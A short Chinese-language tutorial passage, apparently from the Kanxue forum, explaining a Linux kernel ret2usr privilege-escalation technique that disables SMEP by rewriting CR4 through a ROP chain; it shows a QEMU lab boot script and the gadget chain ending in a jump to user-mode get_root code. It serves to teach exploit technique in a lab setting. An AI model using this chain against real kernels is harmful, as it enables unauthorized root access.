linux 内核提权总结(demo+exp分析) -- ROP(二)
发表于看雪论坛
ret2usr CR4篇 smep: smep是内核的一种保护措施, 使得内核不可执行用户态代码
内核通过CR4寄存器的第20位来控制smep, 第20位为0时,smep被关闭 攻击流程
提前在用户态代码中构造进程提权代码(get_root) ROP技术修改CR4第20位数据为0(关闭smep), 通常使用 mov cr4, 0x6f0 修改 rip 直接指向用户态提权代码,实现进程提权 一. 判断是否开启smep 查看 boot.sh qemu-system-x86_64 \ -kernel bzImage \ -initrd rootfs.img \ -append "console=ttyS0 root=/dev/ram rdinit=/sbin/init" \ -cpu qemu64,+smep,+smap \ -nographic \ -gdb tcp::1234 smep, smap 在boot.sh -cpu选项内进行设置 二. ROP链构造 ROP[i++] = 0xffffffff810275f1 + offset; //pop rax; ret ROP[i++] = 0x6f0; ROP[i++] = 0xffffffff8123ed93 + offset; //pop rcx; ret ROP[i++] = 0; ROP[i++] = 0xffffffff81003c0e + offset; //mov cr4, rax ; push rcx ; popfq ; pop rbp ; ret ROP[i++] = 0; ROP[i++] = (size_t)get_root; 三.